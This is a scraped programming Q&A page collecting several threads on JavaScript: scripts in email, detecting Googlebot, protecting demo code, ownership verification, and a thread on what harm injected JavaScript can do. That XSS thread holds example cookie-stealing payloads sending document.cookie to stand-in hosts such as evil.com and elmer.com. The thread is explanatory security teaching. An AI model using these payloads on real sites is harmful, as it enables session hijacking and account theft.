We Keep Coding

how to make javascript alert work in gmail / outlook

i want to make javascript alert work in gmail / outlook, see below code
it's not working how can i do it ,
<script>
alert('hiii');
</script>

Any script placed in an email will be stripped out by most email clients for security reasons.
Scripting in Emails
The short answer is that scripting is unsupported in emails. This is hardly surprising, given the obvious security risks involved with a script running inside an application that has all that personal information stored in it.
Webmail clients are mostly running the interface in JavaScript and are not keen on your email interfering with that, and desktop client filters often consider JavaScript to be an indicator of spam or phishing emails. Even in the cases where it might run, there really is little benefit to scripting in emails.
Keep your emails as straight HTML and CSS, and avoid the hassle.
https://www.campaignmonitor.com/guides/coding/technologies/
If you need to run some script related to the recipient of the email you would need to get them to click a link in the email to open a website to be able to use full JS capabilities.

How can Javascript code can be executed in order to get useragent?

I have an email marketing website with user-tracking capability and this is normally what I do.
I ask to my customers to add this code to their websites in order to track behavior of their customers.
var _ssprt=('https:'==document.location.protocol?'https':'http');
var ig = navigator.userAgent.toLowerCase().indexOf('googlebot') > 0;
document.write('<img height="1" width="1" src="'+_ssprt+'://www.myurl.com/system/sitecode.php?t='+document.title+'&adres='+document.location.href+'&ua='+ig+'" hspace="0" />');
Normally if one enters to the website through a browser, I can detect its user-agent easily.
However, if this is GoogleBot , since it executes the website as source code, it wouldn't send any datas to my main url. It cannot execute the php as well.
Thus, I cannot see if any googlebots enter to the website.
I use this code in order to get the user-agent
var ig = navigator.userAgent.toLowerCase().indexOf('googlebot') > 0;
I thought I can redirect my sitecode.php to js via htaccess.
So it will behave as sitecode.js and I will include it with script src code
I am wondering if I had done this, googlebot would have executed that JS.
I am trying to do this with this piece of code but I couldn't succeed. Also, I am not sure if Google would execute this and send me the user-agent data.
RewriteEngine on
RewriteRule ^sitecode.js$ sitecode.php [QSA,L]

My interpetation is that you do want to detect GoogleBot hits on your page? Or at least detect them so you can filter them out in your own code?
GoogleBot can interpet some JavaScript, but it does not execute it as a browser. And Google is quiet about what GoogleBot is doing when it comes to interpeting scripts. The same problem exists when the user has disabled JavaScript, then you will not see their visits.
There are ways to make AJAX content crawlable by GoogleBot, but it will also require some server code.
Unfortunatly, the safest way to make sure you track all visitors is to use server side code.
Optionally - and I suggest this with some reservation as I have not tried it myself - you could try adding an img or a hidden link to your php-page on your side and then check the user agent and referer to get the page that the user was visiting - but I'm not entirely sure it works that way and that GoogleBot will send the refered-header. Maybe someone else have tried this out?

navigator.userAgent is available only in a browser environment. Googlebot just does a HTTP fetch, it does not run client side JavaScript. Its like fetching a page with wget or curl - you just download the page content (source/HTML) but not execute the scripts within.
To track googlebot accesses, you'll need to put in some server side solution, but depending on what server side technology your customers use, you'll need to provide snippets to support multiple server side technologies.

I found the answer on this website which answers to my question.
http://searchengineland.com/is-googlebot-skewing-google-analytics-data-22313
Postscript: Google Analytics posted a response in the comments:
“The official Google bot does not execute Google Analytics JavaScript. We’re not sure what it is exactly, it could be anyone’s bot, some intern’s experiment, or other such traffic.”
I agree with this comment in that the official Googlebot reads JavaScript but does not execute it. Besides, it does not store and send cookies, which means that Paves/Visit would be exactly 1 and time on site exactly 0. Lastly, If the officiall Googlebot did execute JavaScript, we would have seen massive ammounts of visits.
It is also important to note that although we used Google Analytics as an example, we mean all JavaScript based solutions, including Omniture, Yahoo Web Analytics, WebTrends and others.
Please note that this issue requires additional investigation both in regards to Google Analytics and to how Google Search uses the Googlebot.

Tracking the use of my Javascript

Is there a way to track if my javascript code is being used on another site?
I work for a software development company and although I'm not a developer as such I do get involved with some of the more simple Javascript requests we get from our customers.
However, sometimes our customers want to see the Javascript working before agreeing to pay for it. My problem here is that although they are not going to be very technical they may have enough knowledge to look at the page source and effectively 'steal' the script.
Can I either prevent them from doing this or add some kind of tracking to my code somewhere so if they do a simple copy / paste then I can receive notification somehow of the script being used on another site?
Thank you

A few things you can do:
Obfuscate your code so it'll be harder to find out what to copy for non technical people.
Add a line that checks the domain name of the page and throws an exception or does some other trick to terminate if the domain is not your demo server.
Add an Ajax query to your server to validate that the script is allowed to run and terminate if there is no validation.
All said here will only protect against non-technical people. Javascript is an interpreted language and as such the entire code is sent to the browser. A skilled programmer will know to go around your blockings.

it is not easy to track your script over all www but there are ways to protect your js codes. there are plenty of sites for encoding and obfuscation like the site below:
http://javascriptobfuscator.com/default.aspx
They would still be able to use your codes but you can hide some protection codes in obfuscated version like trial timeout values or even posting some values like site url to your server for tracking.

our customers want to see the Javascript working before agreeing to pay for it.
You can achieve a good level of security by setting up a demo machine. Have the users remote into a session to provide a demo of the product. Ideally, a shared session where you can "walk them through it" (aka watch what they are doing).
Similar to a video conference, but this way they can use the browser. Don't make the site public, run the webserver local only (close port 80 on the firewall). Take the remote desktop server down after the demo and change the password.

Use the DOM API to a <script> tag that points to a server-side script on your server and append it to the <head>.
Using jQuery:
$.getJSON('http://yourserver.com/TrackScript', { url: document.location });

What harm can javascript do?

I just happen to read the joel's blog here...
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.

Cross Site Scripting is a really big issue with javascript injection

It can read, write or manipulate cookies
That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.

I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.

There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn't really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.
Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.
So here's a more complete, two part answer:
If we're talking about the quoted passage, the answer is "no harm"
I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place
A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)

Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.

I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.

If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:
Imagine that instead of "Hello, Elmer!", that user entered
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>
and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.
If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.
For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.

Little example shown to me a while ago during XSS class..
Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:
<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>
Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!

Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.

Streamlined way to validate website ownership (with javascript?)

I have a rails app which requires users to verify that they own a website before submitting links from that site.
I have implemented a website verification system that works thanks to the answers given to a question I made several months ago. This system works but it is rather cumbersome for users. It requires them to create a web page on their site with a specific verification key for a url. I feel like I'm asking the user to jump through a lot of hoops just to submit their pages to my site. Site verification is vital, however, and I can't let go of this feature, however cumbersome.
I'm looking to create some javascript code that will help validate websites. When users install the plugin, all they would then have to do is click "verify" on the web app, and all the work is done for them. They don't have to go through the chore of creating a new web page and deleting it.
I have a faint idea of how to get started...
Step one: the javascript code to be placed on the website (simplified version of google analytics code):
"<script type='text/javascript' id="THE VERIFICATION CODE GENERATED BY THE RAILS APP">
(function() {
var secondScript = document.createElement('script');
secondScript.type = 'text/javascript';
secondScript.src = 'http://www.mywebapp.com/verify.js';
var firstScript = document.getElementsByTagName('script')[0]; firstScript.parentNode.insertBefore(secondScript, firstScript);
})();
</script>"
In the second script(verify.js):
//find some way to ensure that the first script has an id of "VERIFICATION KEY"
//if so, return some data that the rails app can understand and verify the site
Any ideas?

That's a REALLY interesting problem, but I don't know if there is a good solution in the way you're looking for. In other words, I don't think you can create some sort of automated utility to upload the script in step one.
You can't assume they have FTP access, or SSH access; some web hosts might disallow those things. You can't assume they have some sort of 'package' installed to communicate with, or even the ability to install such a thing.
One thing that might work (but still has its own set of issues) is to do a whois lookup and email the owner of the site on record with a confirmation link... Of course that's assuming the whois is listed and they didn't provide a dummy email.
Google accounts checks for domain ownership by doing the file upload thing, or letting the user create a custom subdomain (CNAME) on the site. Of course, if your users are having issues uploading a single file, the CNAME thing is probably right out.

There are other ways to verify ownership of website. Many companies will send an e-mail to the registrant of the domain. Create a file with a certain name. Put a piece of specific text into the header of the index page. I think the way you're attempting above is more complex than it needs to be. It's pretty easy for any webmaster to create a file with a certain name and with certain content. I've done it many times for different tools.
Don't sweat it :-)